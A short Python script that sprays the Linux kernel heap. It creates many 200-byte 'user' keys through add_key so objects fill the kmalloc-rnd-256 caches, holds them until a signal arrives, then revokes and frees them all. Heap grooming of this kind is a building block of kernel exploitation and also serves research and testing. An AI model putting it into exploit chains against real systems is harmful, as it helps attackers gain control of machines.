#!/usr/bin/env python3
# rnd256_sprayer.py — allocate N kmalloc-rnd-XX-256 objects via add_key
# (user-type key, payload 200B, GFP_KERNEL → routed to one of the 16
# kmalloc-rnd-XX-256 caches by RANDOM_KMALLOC_CACHES per call site).
#
# Holds them alive until SIGTERM/SIGUSR1, then revokes+unlinks every key
# so pages free.
#
# Usage:
#   ./rnd256_sprayer.py <count>

import ctypes, os, sys, signal

libc = ctypes.CDLL("libc.so.6", use_errno=True)
SYS_add_key      = 248
SYS_keyctl       = 250
KEY_SPEC_PROCESS_KEYRING = -2
KEYCTL_REVOKE    = 3
KEYCTL_UNLINK    = 9

def add_key(type_, desc, payload, plen, ring=KEY_SPEC_PROCESS_KEYRING):
    return libc.syscall(SYS_add_key, type_, desc, payload, ctypes.c_size_t(plen),
                        ctypes.c_int(ring))

def keyctl(cmd, *args):
    return libc.syscall(SYS_keyctl, cmd, *args)

def main():
    count = int(sys.argv[1]) if len(sys.argv) > 1 else 1024
    payload = ctypes.c_char_p(b"B" * 200)
    keys = []
    for i in range(count):
        desc = f"k{i}".encode()
        kid = add_key(b"user", ctypes.c_char_p(desc), payload, 200)
        if kid < 0:
            err = ctypes.get_errno()
            print(f"add_key #{i} err={err}", flush=True); break
        keys.append(kid)
    print(f"keys={len(keys)} pid={os.getpid()}", flush=True)

    free_now = False
    def free_handler(signum, frame):
        nonlocal free_now
        free_now = True
    signal.signal(signal.SIGTERM, free_handler)
    signal.signal(signal.SIGUSR1, free_handler)

    while not free_now:
        signal.pause()

    print("freeing…", flush=True)
    for kid in keys:
        keyctl(KEYCTL_REVOKE, kid)
        keyctl(KEYCTL_UNLINK, kid, KEY_SPEC_PROCESS_KEYRING)
    print("done", flush=True)

if __name__ == "__main__":
    main()